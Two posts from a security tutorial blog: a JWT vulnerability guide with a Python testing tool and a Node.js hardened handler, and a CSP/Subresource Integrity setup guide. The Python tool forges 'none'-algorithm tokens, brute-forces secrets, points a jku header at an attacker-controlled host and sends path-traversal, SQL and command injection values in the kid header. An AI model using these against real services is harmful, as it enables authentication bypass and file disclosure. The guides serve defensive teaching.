Showing posts with label Web Security. Show all posts
Showing posts with label Web Security. Show all posts

Thursday, 6 November 2025

JWT Security Vulnerabilities & Mitigations 2025 - Complete Guide

November 06, 2025 0

Breaking and Securing JWTs: A Practical Guide to Common Vulnerabilities and Mitigations

JWT security vulnerabilities visualization showing token structure with algorithm confusion, weak secrets, and header injection attacks with mitigation strategies

JSON Web Tokens (JWTs) have become the de facto standard for authentication and authorization in modern web applications, but their widespread adoption has exposed critical security gaps that attackers are increasingly exploiting. In this comprehensive 2025 guide, we'll dive deep into the most dangerous JWT vulnerabilities affecting production systems today, from algorithm confusion attacks and weak secret exploitation to sophisticated timing attacks and implementation flaws. You'll learn practical offensive techniques to test your own systems, followed by enterprise-grade mitigation strategies that can prevent these attacks. We'll implement secure JWT handlers in multiple languages, build automated security scanners, and explore advanced cryptographic protections that go beyond basic JWT specifications.

🚀 Why JWT Security Matters More Than Ever in 2025

With JWTs handling authentication for millions of applications worldwide, understanding their security implications is crucial for every developer and security professional:

  • Ubiquitous Usage: JWTs secure APIs, microservices, and single sign-on systems globally
  • Critical Data Exposure: Compromised tokens can lead to full system access
  • Implementation Complexity: Easy to misconfigure with devastating consequences
  • Evolving Attack Vectors: New vulnerabilities discovered regularly require ongoing education
  • Regulatory Requirements: Compliance standards mandate proper token security

🔧 Common JWT Vulnerabilities and Exploitation Techniques

Let's examine the most critical JWT vulnerabilities that attackers are actively exploiting in 2025:

  • Algorithm Confusion Attacks: Forcing HMAC verification of RSA-signed tokens
  • Weak Secret Exploitation: Brute-forcing poorly chosen signing keys
  • Header Parameter Injection: Manipulating "jwk", "jku", and "kid" parameters
  • Signature Bypass: Using "none" algorithm or stripping signatures
  • Timing Attacks: Exploiting verification timing differences
  • Token Replay: Reusing valid tokens across sessions

If you're new to JWT fundamentals, check out our guide on JWT Authentication Fundamentals to build your foundational knowledge.

💻 Practical JWT Security Testing Toolkit

Let's build a comprehensive Python-based JWT security testing tool that demonstrates common attack vectors.


#!/usr/bin/env python3
"""
JWT Security Testing Toolkit
Comprehensive tool for testing JWT vulnerabilities in web applications
"""

import jwt
import requests
import json
import base64
import hmac
import hashlib
import time
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend

class JWTSecurityTester:
    def __init__(self, target_url, token):
        self.target_url = target_url
        self.original_token = token
        self.vulnerabilities = []
        
    def test_algorithm_confusion(self):
        """Test for algorithm confusion vulnerability"""
        print("[*] Testing algorithm confusion...")
        
        try:
            # Try to decode without verification to get header
            header = jwt.get_unverified_header(self.original_token)
            
            # If using RSA, try HMAC with public key
            if header.get('alg') in ['RS256', 'RS384', 'RS512']:
                # Extract public key from token (if available in jwk)
                public_key = self.extract_public_key(header)
                if public_key:
                    # Try to verify with HMAC using public key as secret
                    try:
                        decoded = jwt.decode(
                            self.original_token, 
                            public_key, 
                            algorithms=['HS256']
                        )
                        self.vulnerabilities.append({
                            'type': 'Algorithm Confusion',
                            'severity': 'CRITICAL',
                            'description': 'Token accepts HMAC verification with public key'
                        })
                    except jwt.InvalidTokenError:
                        pass
                        
        except Exception as e:
            print(f"[-] Algorithm confusion test failed: {e}")
            
    def test_none_algorithm(self):
        """Test for 'none' algorithm vulnerability"""
        print("[*] Testing 'none' algorithm...")
        
        try:
            header = jwt.get_unverified_header(self.original_token)
            payload = jwt.decode(self.original_token, options={"verify_signature": False})
            
            # Create token with 'none' algorithm
            none_token = jwt.encode(
                payload, 
                '', 
                algorithm='none',
                headers={'alg': 'none'}
            )
            
            # Test if server accepts none algorithm
            response = self.send_test_request(none_token)
            if response.status_code == 200:
                self.vulnerabilities.append({
                    'type': 'None Algorithm',
                    'severity': 'CRITICAL',
                    'description': 'Server accepts tokens with "none" algorithm'
                })
                
        except Exception as e:
            print(f"[-] None algorithm test failed: {e}")
            
    def test_weak_secrets(self, wordlist_path=None):
        """Brute force weak signing secrets"""
        print("[*] Testing weak secrets...")
        
        # Common JWT secrets to test
        common_secrets = [
            'secret', 'password', '123456', 'token', 'jwt',
            'key', 'admin', 'root', 'changeme', 'default'
        ]
        
        if wordlist_path:
            try:
                with open(wordlist_path, 'r') as f:
                    common_secrets.extend([line.strip() for line in f])
            except FileNotFoundError:
                print(f"[-] Wordlist {wordlist_path} not found")
        
        header = jwt.get_unverified_header(self.original_token)
        algorithms = [header.get('alg', 'HS256')]
        
        for secret in common_secrets:
            try:
                decoded = jwt.decode(self.original_token, secret, algorithms=algorithms)
                self.vulnerabilities.append({
                    'type': 'Weak Secret',
                    'severity': 'HIGH',
                    'description': f'Token signed with weak secret: {secret}',
                    'secret': secret
                })
                break
            except jwt.InvalidTokenError:
                continue
                
    def test_jku_header_injection(self):
        """Test for JKU header injection vulnerability"""
        print("[*] Testing JKU header injection...")
        
        try:
            payload = jwt.decode(self.original_token, options={"verify_signature": False})
            header = jwt.get_unverified_header(self.original_token)
            
            # Create malicious token with external JWK set
            malicious_header = header.copy()
            malicious_header['jku'] = 'http://attacker-controlled.com/jwks.json'
            
            malicious_token = jwt.encode(
                payload,
                'malicious-secret',
                algorithm=header.get('alg', 'HS256'),
                headers=malicious_header
            )
            
            # This would require setting up a malicious JWKS endpoint
            # For demonstration, we just check if JKU is processed
            if 'jku' in header:
                self.vulnerabilities.append({
                    'type': 'JKU Header Present',
                    'severity': 'MEDIUM',
                    'description': 'Token contains JKU header which could be exploited'
                })
                
        except Exception as e:
            print(f"[-] JKU test failed: {e}")
            
    def test_kid_header_injection(self):
        """Test for KID header path traversal and SQL injection"""
        print("[*] Testing KID header injection...")
        
        try:
            header = jwt.get_unverified_header(self.original_token)
            payload = jwt.decode(self.original_token, options={"verify_signature": False})
            
            # Test various KID injection payloads
            kid_payloads = [
                '../../../../etc/passwd',
                '../../../../windows/win.ini',
                "' OR '1'='1' --",
                '| cat /etc/passwd',
                '../' * 10 + 'etc/passwd'
            ]
            
            for kid in kid_payloads:
                malicious_header = header.copy()
                malicious_header['kid'] = kid
                
                malicious_token = jwt.encode(
                    payload,
                    'test-secret',
                    algorithm=header.get('alg', 'HS256'),
                    headers=malicious_header
                )
                
                response = self.send_test_request(malicious_token)
                # Analyze response for successful injection indicators
                if self.detect_injection_success(response, kid):
                    self.vulnerabilities.append({
                        'type': 'KID Header Injection',
                        'severity': 'HIGH',
                        'description': f'KID header vulnerable to injection: {kid}'
                    })
                    break
                    
        except Exception as e:
            print(f"[-] KID test failed: {e}")
            
    def extract_public_key(self, header):
        """Extract public key from token header if available"""
        try:
            if 'jwk' in header:
                jwk = header['jwk']
                # Convert JWK to PEM format (simplified)
                # In real implementation, properly handle RSA/EC keys
                return "public-key-placeholder"
        except:
            pass
        return None
        
    def send_test_request(self, token):
        """Send test request with modified token"""
        headers = {
            'Authorization': f'Bearer {token}',
            'Content-Type': 'application/json'
        }
        
        try:
            response = requests.get(self.target_url, headers=headers, timeout=5)
            return response
        except requests.RequestException:
            return type('MockResponse', (), {'status_code': 0})()
            
    def detect_injection_success(self, response, payload):
        """Detect if injection was successful based on response"""
        if response.status_code == 200:
            # Check response content for injection indicators
            content = response.text.lower()
            injection_indicators = [
                'root:', 'administrator:', '[extensions]',
                'mysql', 'sql syntax'
            ]
            
            return any(indicator in content for indicator in injection_indicators)
        return False
        
    def run_all_tests(self):
        """Execute all security tests"""
        print(f"[*] Starting JWT security assessment for {self.target_url}")
        
        tests = [
            self.test_algorithm_confusion,
            self.test_none_algorithm,
            self.test_weak_secrets,
            self.test_jku_header_injection,
            self.test_kid_header_injection
        ]
        
        for test in tests:
            test()
            
        return self.vulnerabilities

# Example usage
if __name__ == "__main__":
    # Replace with your target token and URL
    TEST_TOKEN = "your.jwt.token.here"
    TARGET_URL = "https://api.example.com/protected-endpoint"
    
    tester = JWTSecurityTester(TARGET_URL, TEST_TOKEN)
    vulnerabilities = tester.run_all_tests()
    
    print("\n[+] Security Assessment Complete")
    for vuln in vulnerabilities:
        print(f"[{vuln['severity']}] {vuln['type']}: {vuln['description']}")

  

🛡️ Secure JWT Implementation in Node.js

Now let's build a production-ready, secure JWT handler that mitigates the vulnerabilities we just explored.


/**
 * Secure JWT Handler for Node.js
 * Production-ready implementation with comprehensive security controls
 */

const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const { promisify } = require('util');

class SecureJWTManager {
    constructor(options = {}) {
        this.options = {
            algorithm: 'RS256', // Use asymmetric crypto by default
            expiresIn: '15m',   // Short-lived tokens
            issuer: 'my-app',
            audience: 'my-app-users',
            ...options
        };
        
        // Key management
        this.privateKey = process.env.JWT_PRIVATE_KEY;
        this.publicKey = process.env.JWT_PUBLIC_KEY;
        
        // Token blacklist for revocation
        this.tokenBlacklist = new Set();
        
        // Rate limiting
        this.rateLimit = new Map();
    }

    /**
     * Generate secure JWT token
     */
    async generateToken(payload, additionalOptions = {}) {
        const tokenId = crypto.randomBytes(16).toString('hex');
        
        const tokenPayload = {
            ...payload,
            jti: tokenId, // Unique token identifier
            iat: Math.floor(Date.now() / 1000), // Issued at
            nbf: Math.floor(Date.now() / 1000) // Not before
        };

        const signOptions = {
            algorithm: this.options.algorithm,
            expiresIn: this.options.expiresIn,
            issuer: this.options.issuer,
            audience: this.options.audience,
            ...additionalOptions
        };

        try {
            const token = await promisify(jwt.sign)(
                tokenPayload, 
                this.privateKey, 
                signOptions
            );
            
            // Store token metadata for revocation capability
            await this.storeTokenMetadata(tokenId, payload.sub);
            
            return token;
        } catch (error) {
            throw new Error(`Token generation failed: ${error.message}`);
        }
    }

    /**
     * Secure token verification with comprehensive checks
     */
    async verifyToken(token, options = {}) {
        // Initial security checks
        if (!this.isTokenFormatValid(token)) {
            throw new Error('Invalid token format');
        }

        if (this.tokenBlacklist.has(this.getTokenId(token))) {
            throw new Error('Token revoked');
        }

        if (!this.checkRateLimit(token)) {
            throw new Error('Rate limit exceeded');
        }

        const verifyOptions = {
            algorithms: ['RS256', 'RS384', 'RS512'], // Explicitly allowed algorithms
            issuer: this.options.issuer,
            audience: this.options.audience,
            clockTolerance: 30, // 30 seconds tolerance for clock skew
            ...options
        };

        try {
            const decoded = await promisify(jwt.verify)(
                token, 
                this.publicKey, 
                verifyOptions
            );

            // Additional security validations
            await this.validateTokenClaims(decoded);
            
            return decoded;
        } catch (error) {
            this.handleVerificationError(error, token);
            throw error;
        }
    }

    /**
     * Validate token claims beyond standard JWT verification
     */
    async validateTokenClaims(decoded) {
        const now = Math.floor(Date.now() / 1000);
        
        // Validate issued at time
        if (decoded.iat > now + 60) { // 60 seconds in future
            throw new Error('Token issued in future');
        }

        // Validate not before time
        if (decoded.nbf && decoded.nbf > now) {
            throw new Error('Token not yet valid');
        }

        // Validate subject exists
        if (!decoded.sub) {
            throw new Error('Token missing subject');
        }

        // Check token freshness for critical operations
        if (this.isCriticalOperation() && decoded.iat < now - 300) { // 5 minutes old
            throw new Error('Token too old for critical operation');
        }
    }

    /**
     * Comprehensive token format validation
     */
    isTokenFormatValid(token) {
        if (typeof token !== 'string') return false;
        
        const parts = token.split('.');
        if (parts.length !== 3) return false;

        try {
            // Validate base64url encoding
            parts.forEach(part => {
                Buffer.from(part, 'base64url');
            });

            // Check header for dangerous algorithms
            const header = JSON.parse(
                Buffer.from(parts[0], 'base64url').toString()
            );
            
            if (this.isDangerousAlgorithm(header.alg)) {
                throw new Error('Dangerous algorithm detected');
            }

            // Check for malicious headers
            if (this.hasMaliciousHeaders(header)) {
                throw new Error('Malicious headers detected');
            }

            return true;
        } catch (error) {
            return false;
        }
    }

    /**
     * Detect and block dangerous algorithms
     */
    isDangerousAlgorithm(algorithm) {
        const dangerousAlgorithms = [
            'none', 'HS256', 'HS384', 'HS512' // When expecting RS256
        ];
        
        return dangerousAlgorithms.includes(algorithm);
    }

    /**
     * Detect malicious header parameters
     */
    hasMaliciousHeaders(header) {
        const maliciousIndicators = [
            'jku',  // JWK Set URL
            'jwk',  // Embedded JWK
            'x5u',  // X.509 URL
            'x5c'   // X.509 Certificate Chain
        ];

        return maliciousIndicators.some(indicator => 
            header[indicator] !== undefined
        );
    }

    /**
     * Rate limiting to prevent brute force attacks
     */
    checkRateLimit(token) {
        const clientIp = this.getClientIP(); // Implement IP extraction
        const now = Date.now();
        const windowMs = 15 * 60 * 1000; // 15 minutes
        
        if (!this.rateLimit.has(clientIp)) {
            this.rateLimit.set(clientIp, []);
        }
        
        const requests = this.rateLimit.get(clientIp);
        
        // Remove old requests outside the time window
        const recentRequests = requests.filter(time => 
            time > now - windowMs
        );
        
        // Check if rate limit exceeded (100 requests per 15 minutes)
        if (recentRequests.length >= 100) {
            return false;
        }
        
        recentRequests.push(now);
        this.rateLimit.set(clientIp, recentRequests);
        return true;
    }

    /**
     * Token revocation functionality
     */
    async revokeToken(token) {
        const tokenId = this.getTokenId(token);
        this.tokenBlacklist.add(tokenId);
        
        // Store in persistent storage for distributed systems
        await this.persistRevocation(tokenId);
    }

    /**
     * Extract token ID for revocation tracking
     */
    getTokenId(token) {
        try {
            const decoded = jwt.decode(token, { complete: true });
            return decoded.payload.jti;
        } catch {
            return crypto.createHash('sha256').update(token).digest('hex');
        }
    }

    /**
     * Handle different types of verification errors
     */
    handleVerificationError(error, token) {
        const tokenId = this.getTokenId(token);
        
        switch (error.name) {
            case 'TokenExpiredError':
                console.warn(`Expired token attempted: ${tokenId}`);
                break;
            case 'JsonWebTokenError':
                console.warn(`Malformed token: ${tokenId} - ${error.message}`);
                // Potentially add to blacklist after multiple attempts
                break;
            case 'NotBeforeError':
                console.warn(`Token used before valid date: ${tokenId}`);
                break;
            default:
                console.error(`Token verification error: ${error.message}`);
        }
    }

    /**
     * Store token metadata for audit and revocation
     */
    async storeTokenMetadata(tokenId, userId) {
        // Implement storage in database or cache
        const metadata = {
            tokenId,
            userId,
            issuedAt: new Date(),
            expiresAt: new Date(Date.now() + 15 * 60 * 1000) // 15 minutes
        };
        
        // Store in your preferred storage system
        // await database.tokens.insert(metadata);
    }

    /**
     * Persist revocation in distributed systems
     */
    async persistRevocation(tokenId) {
        // Implement distributed revocation storage
        // await redis.set(`blacklist:${tokenId}`, '1', 'EX', 24*60*60); // 24 hours
    }

    /**
     * Get client IP for rate limiting
     */
    getClientIP() {
        // Implement based on your framework (Express, etc.)
        return 'client-ip-placeholder';
    }

    /**
     * Check if operation is critical
     */
    isCriticalOperation() {
        // Implement based on your application logic
        return false;
    }
}

// Export secure middleware for Express.js
const createSecureJWTMiddleware = (jwtManager) => {
    return async (req, res, next) => {
        const authHeader = req.headers.authorization;
        
        if (!authHeader || !authHeader.startsWith('Bearer ')) {
            return res.status(401).json({ error: 'Authorization header required' });
        }

        const token = authHeader.substring(7);

        try {
            const decoded = await jwtManager.verifyToken(token);
            req.user = decoded;
            next();
        } catch (error) {
            res.status(401).json({ error: error.message });
        }
    };
};

module.exports = { SecureJWTManager, createSecureJWTMiddleware };

  

🔐 Advanced Cryptographic Protections

Beyond basic JWT security, implement these advanced cryptographic techniques for enterprise-grade protection:

  • Key Rotation: Automated key management with seamless transitions
  • Token Binding: Cryptographically bind tokens to client characteristics
  • Proof of Possession: Require client to prove key possession for critical operations
  • Forward Secrecy: Ephemeral key exchanges for session establishment
  • Quantum Resistance: Prepare for post-quantum cryptography migration
  • For more advanced cryptographic implementations, see our guide on Advanced Cryptography for Web Applications.

    ⚡ Real-World Attack Scenarios and Mitigations

    Let's examine actual JWT security incidents and their corresponding defensive strategies:

    1. Algorithm Confusion in Microservices: Enforce strict algorithm whitelisting
    2. Key Management Failures: Implement automated key rotation and HSM integration
    3. Token Sidejacking: Use token binding and short expiration times
    4. Implementation Flaws: Comprehensive security testing and code review
    5. Library Vulnerabilities: Regular dependency updates and security patches

    🔍 Monitoring and Incident Response

    Effective JWT security requires continuous monitoring and rapid incident response capabilities:

    • Anomaly Detection: Monitor for unusual token usage patterns
    • Token Analytics: Track issuance, usage, and revocation metrics
    • Real-time Alerting: Immediate notification of security events
    • Forensic Capabilities: Comprehensive token audit trails
    • Automated Response: Immediate revocation and blocking capabilities

    🔮 Future of JWT Security in 2025 and Beyond

    The JWT security landscape is evolving rapidly with these emerging trends and technologies:

    • Post-Quantum Cryptography: Migration to quantum-resistant algorithms
    • Zero-Trust Architectures: Continuous verification and minimal trust assumptions
    • Decentralized Identity: Blockchain-based identity and verifiable credentials
    • AI-Powered Threat Detection: Machine learning for anomaly detection
    • Standardized Security Profiles: Industry-wide security baselines and certifications

    ❓ Frequently Asked Questions

    What's the most critical JWT vulnerability I should address first?
    Algorithm confusion attacks are currently the most critical because they can completely bypass signature verification. Ensure your JWT library explicitly validates the algorithm against a whitelist and never trusts the algorithm specified in the token header. Use asymmetric cryptography (RS256/ES256) instead of symmetric (HS256) to prevent secret key exposure.
    How often should I rotate JWT signing keys?
    For production systems, implement key rotation every 90 days for long-lived keys, with emergency rotation capability for security incidents. Use key versioning to support graceful transitions - include a "kid" (key ID) claim in your tokens and maintain multiple active keys during rotation periods to avoid service disruption.
    Can JWTs be securely used in stateless microservices architectures?
    Yes, but with important caveats. Use short-lived tokens (15-30 minutes) with refresh tokens for longer sessions. Implement distributed token revocation using a fast cache like Redis. Consider adding a "context" claim that includes request fingerprinting to detect token replay across different services. Always validate tokens in each microservice independently.
    What's the best way to handle JWT revocation in distributed systems?
    Implement a hybrid approach: use short token expiration (15-30 minutes) to minimize the revocation window, combined with a distributed denial list for immediate revocation. Store revocation data in a fast, distributed cache like Redis with appropriate TTL. For critical systems, consider adding a "last password change" timestamp that invalidates older tokens.
    How can I detect and prevent JWT attacks in real-time?
    Implement comprehensive monitoring: track token usage patterns, failed verification attempts, and algorithm anomalies. Use rate limiting to prevent brute force attacks. Deploy WAF rules that detect malformed JWT headers. Consider machine learning algorithms to identify anomalous token usage patterns that might indicate compromise or attack attempts.

    💬 Found this article helpful? Please leave a comment below or share it with your network to help others learn! Have you encountered JWT security issues in your projects? Share your experiences and solutions!

    About LK-TECH Academy — Practical tutorials & explainers on software engineering, AI, and infrastructure. Follow for concise, hands-on guides.

    Wednesday, 5 November 2025

    Implementing CSP and Subresource Integrity for Unbreakable Frontend Security in 2025

    November 05, 2025 0

    Implementing CSP and Subresource Integrity for Unbreakable Frontend Security in 2025

    Content Security Policy and Subresource Integrity implementation guide for frontend web security - protecting against XSS and supply chain attacks in 2025

    In today's rapidly evolving web security landscape, traditional security measures are no longer sufficient to protect against sophisticated attacks. Content Security Policy (CSP) and Subresource Integrity (SRI) have emerged as critical front-line defenses against XSS, code injection, and supply chain attacks. This comprehensive guide will walk you through implementing these powerful security headers and integrity checks to create an virtually unbreakable frontend security posture for your web applications in 2025.

    🚀 Why CSP and SRI Matter in 2025

    With the increasing sophistication of cyber attacks and the growing reliance on third-party dependencies, frontend security has become paramount. Content Security Policy acts as a whitelist mechanism that controls which resources can be loaded and executed, while Subresource Integrity ensures that externally loaded resources haven't been tampered with.

    According to recent security reports, XSS attacks account for approximately 40% of all web application vulnerabilities, while supply chain attacks have increased by 300% since 2020. Implementing CSP and SRI can mitigate up to 90% of these attack vectors.

    • Prevent XSS Attacks: CSP blocks unauthorized script execution
    • Stop Data Exfiltration: Control which domains can receive data
    • Mitigate Supply Chain Risks: SRI verifies third-party code integrity
    • Compliance Requirements: Meet GDPR, PCI-DSS, and other regulatory standards
    • Performance Benefits: Block malicious resource loading that slows down your site

    🔧 Understanding Content Security Policy (CSP)

    Content Security Policy is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks. It works by allowing you to create a whitelist of trusted content sources, blocking everything else by default.

    The CSP header specifies which domains are approved for executing scripts, loading images, fonts, stylesheets, and other resources. When a browser encounters a CSP header, it will only execute or render resources from those specified sources.

    💻 Basic CSP Implementation Example

    
    <!-- Example CSP Header Implementation -->
    <meta http-equiv="Content-Security-Policy" 
          content="default-src 'self'; 
                   script-src 'self' https://trusted-cdn.com; 
                   style-src 'self' 'unsafe-inline'; 
                   img-src 'self' data: https:; 
                   font-src 'self'; 
                   connect-src 'self'; 
                   object-src 'none'; 
                   base-uri 'self';">
    
    <!-- Equivalent HTTP Header -->
    Content-Security-Policy: default-src 'self'; 
                             script-src 'self' https://trusted-cdn.com; 
                             style-src 'self' 'unsafe-inline'; 
                             img-src 'self' data: https:; 
                             font-src 'self'; 
                             connect-src 'self'; 
                             object-src 'none'; 
                             base-uri 'self';
    
      

    🛡️ Advanced CSP Directives for 2025

    Modern CSP implementations include several advanced directives that provide enhanced security. Here are the most critical ones you should implement:

    • frame-ancestors: Prevents clickjacking by controlling which sites can embed your content
    • form-action: Restricts where forms can submit data
    • upgrade-insecure-requests: Automatically upgrades HTTP to HTTPS
    • block-all-mixed-content: Prevents loading mixed HTTP/HTTPS content
    • require-trusted-types-for: Enforces Trusted Types for DOM XSS prevention

    💻 Advanced CSP Configuration

    
    // Advanced CSP with reporting and modern directives
    const advancedCSP = `
      default-src 'self';
      script-src 'self' 'wasm-unsafe-eval' 'strict-dynamic' 
        https: 'nonce-${generateNonce()}';
      style-src 'self' 'unsafe-inline';
      img-src 'self' data: https:;
      font-src 'self' https://fonts.gstatic.com;
      connect-src 'self' https://api.yourapp.com;
      frame-src 'none';
      object-src 'none';
      base-uri 'self';
      form-action 'self';
      frame-ancestors 'none';
      upgrade-insecure-requests;
      block-all-mixed-content;
      require-trusted-types-for 'script';
    `.replace(/\n/g, ' ').trim();
    
    // Function to generate cryptographic nonce
    function generateNonce() {
      const array = new Uint8Array(32);
      crypto.getRandomValues(array);
      return btoa(String.fromCharCode(...array));
    }
    
      

    🔍 Implementing Subresource Integrity (SRI)

    Subresource Integrity is a security feature that enables browsers to verify that resources they fetch are delivered without unexpected manipulation. It works by comparing the cryptographic hash of the fetched resource against a known expected hash.

    SRI is particularly important for CDN-hosted resources where the risk of supply chain attacks is high. If the hash doesn't match, the browser will refuse to execute or apply the resource.

    💻 SRI Implementation Examples

    
    <!-- SRI for JavaScript -->
    <script 
      src="https://cdn.example.com/jquery-3.6.0.min.js"
      integrity="sha384-vtXRMe3mGCbOeY7l30aIg8H9p3GdeSe4IFlP6G8JMa7o7lXvnz3GFKzPxzJdPfGK"
      crossorigin="anonymous">
    </script>
    
    <!-- SRI for CSS -->
    <link 
      rel="stylesheet" 
      href="https://cdn.example.com/bootstrap-5.1.3.css"
      integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3"
      crossorigin="anonymous">
    
    <!-- Generating SRI hashes with Node.js -->
    const crypto = require('crypto');
    const fs = require('fs');
    
    function generateIntegrityHash(filePath) {
      const fileContent = fs.readFileSync(filePath);
      const hash = crypto.createHash('sha384');
      hash.update(fileContent);
      return `sha384-${hash.digest('base64')}`;
    }
    
    console.log(generateIntegrityHash('./jquery-3.6.0.min.js'));
    
      

    ⚡ Real-World Implementation Strategy

    Implementing CSP and SRI requires careful planning to avoid breaking your application. Follow this phased approach:

    1. Audit Current Resources: Map all external dependencies and internal scripts
    2. Start with Report-Only Mode: Use Content-Security-Policy-Report-Only to test policies
    3. Generate SRI Hashes: Create integrity hashes for all third-party resources
    4. Implement Gradually: Start with the most critical directives and expand coverage
    5. Monitor and Iterate: Use reporting endpoints to catch policy violations

    💻 Complete Security Headers Configuration

    
    // Express.js security headers middleware
    const helmet = require('helmet');
    
    app.use(helmet({
      contentSecurityPolicy: {
        directives: {
          defaultSrc: ["'self'"],
          scriptSrc: [
            "'self'", 
            "'strict-dynamic'",
            "https://cdn.yourapp.com"
          ],
          styleSrc: ["'self'", "'unsafe-inline'"],
          imgSrc: ["'self'", "data:", "https:"],
          fontSrc: ["'self'", "https://fonts.gstatic.com"],
          connectSrc: ["'self'", "https://api.yourapp.com"],
          frameSrc: ["'none'"],
          objectSrc: ["'none'"],
          baseUri: ["'self'"],
          formAction: ["'self'"],
          upgradeInsecureRequests: [],
        },
      },
      hsts: {
        maxAge: 31536000,
        includeSubDomains: true,
        preload: true
      },
      referrerPolicy: { policy: "strict-origin-when-cross-origin" }
    }));
    
    // Nginx configuration for security headers
    server {
        add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted-cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:;";
        add_header X-Frame-Options "DENY";
        add_header X-Content-Type-Options "nosniff";
        add_header Referrer-Policy "strict-origin-when-cross-origin";
        add_header Permissions-Policy "geolocation=(), microphone=(), camera=()";
    }
    
      

    🔧 Automated SRI Hash Generation

    Manually generating SRI hashes can be tedious. Here's how to automate the process in your build pipeline:

    💻 Webpack Plugin for SRI Automation

    
    // webpack.config.js with SRI support
    const { SubresourceIntegrityPlugin } = require('webpack-subresource-integrity');
    const HtmlWebpackPlugin = require('html-webpack-plugin');
    
    module.exports = {
      entry: './src/index.js',
      output: {
        filename: '[name].[contenthash].js',
        crossOriginLoading: 'anonymous'
      },
      plugins: [
        new HtmlWebpackPlugin({
          template: './src/index.html',
          minify: true
        }),
        new SubresourceIntegrityPlugin({
          hashFuncNames: ['sha384'],
          enabled: process.env.NODE_ENV === 'production'
        })
      ]
    };
    
    // Custom SRI script for non-Webpack setups
    const fs = require('fs');
    const crypto = require('crypto');
    const cheerio = require('cheerio');
    
    function addSRItoHTML(htmlPath) {
      const html = fs.readFileSync(htmlPath, 'utf8');
      const $ = cheerio.load(html);
      
      $('script[src]').each((i, elem) => {
        const src = $(elem).attr('src');
        if (src.startsWith('http')) {
          // In real implementation, you'd fetch and hash the resource
          const integrity = generateRemoteIntegrity(src);
          $(elem).attr('integrity', integrity);
          $(elem).attr('crossorigin', 'anonymous');
        }
      });
      
      fs.writeFileSync(htmlPath, $.html());
    }
    
    function generateRemoteIntegrity(url) {
      // Implementation for fetching and hashing remote resources
      // This is a simplified example
      return 'sha384-generated-hash-here';
    }
    
      

    📊 Monitoring and Reporting

    Effective CSP implementation requires continuous monitoring. Set up reporting endpoints to catch policy violations and potential attacks:

    💻 CSP Reporting Endpoint

    
    // Express.js CSP report endpoint
    app.post('/csp-report', express.json({type: 'application/csp-report'}), (req, res) => {
      const report = req.body['csp-report'];
      
      // Log violation for monitoring
      console.warn('CSP Violation:', {
        violatedDirective: report['violated-directive'],
        blockedURI: report['blocked-uri'],
        originalPolicy: report['original-policy'],
        referrer: report['referrer'],
        userAgent: req.get('User-Agent'),
        timestamp: new Date().toISOString()
      });
      
      // Send to security monitoring service
      sendToSecurityDashboard(report);
      
      res.status(204).end();
    });
    
    // CSP header with reporting
    const cspWithReporting = `
      default-src 'self';
      script-src 'self';
      style-src 'self' 'unsafe-inline';
      report-uri /csp-report;
      report-to csp-endpoint;
    `.trim();
    
    // Report-To header for newer browsers
    const reportToHeader = {
      group: 'csp-endpoint',
      max_age: 10886400,
      endpoints: [{ url: '/csp-report' }],
      include_subdomains: true
    };
    
      

    ⚡ Key Takeaways

    1. Start with Report-Only: Always test CSP policies in report-only mode before enforcement
    2. Use Nonces and Hashes: Prefer nonces over 'unsafe-inline' for inline scripts
    3. Automate SRI: Integrate SRI generation into your build process
    4. Monitor Violations: Set up proper logging and alerting for CSP violations
    5. Combine with Other Headers: Use CSP alongside other security headers for defense in depth
    6. Regular Updates: Continuously review and update your policies as your application evolves

    ❓ Frequently Asked Questions

    What's the difference between CSP Level 2 and Level 3?
    CSP Level 3 introduces several new directives including 'strict-dynamic', which allows trusted scripts to load additional scripts, and Trusted Types for DOM XSS prevention. It also improves the 'report-to' directive for better reporting capabilities.
    Can CSP break my existing web application?
    Yes, if implemented incorrectly. Always start with Content-Security-Policy-Report-Only mode to identify potential issues without blocking resources. Gradually tighten policies while monitoring for violations.
    How do I handle dynamic content with CSP?
    Use nonces or hashes for inline scripts and styles. For highly dynamic applications, consider using 'strict-dynamic' in combination with nonces, which allows trusted scripts to load additional scripts dynamically.
    What hash algorithms are supported for SRI?
    Browsers support SHA-256, SHA-384, and SHA-512. SHA-384 is recommended as it provides a good balance between security and performance. Multiple hashes can be specified for fallback support.
    How does SRI affect performance?
    SRI adds minimal performance overhead as the hash verification happens after resource download. The primary impact is that resources with invalid hashes won't execute, potentially breaking functionality until the issue is resolved.

    💬 Found this article helpful? Have you implemented CSP and SRI in your projects? Share your experiences or ask questions in the comments below! Don't forget to share this guide with your team to help improve web security across your organization.

    About LK-TECH Academy — Practical tutorials & explainers on software engineering, AI, and infrastructure. Follow for concise, hands-on guides like our recent post on Modern Web Security Headers and AI-Powered Security Automation.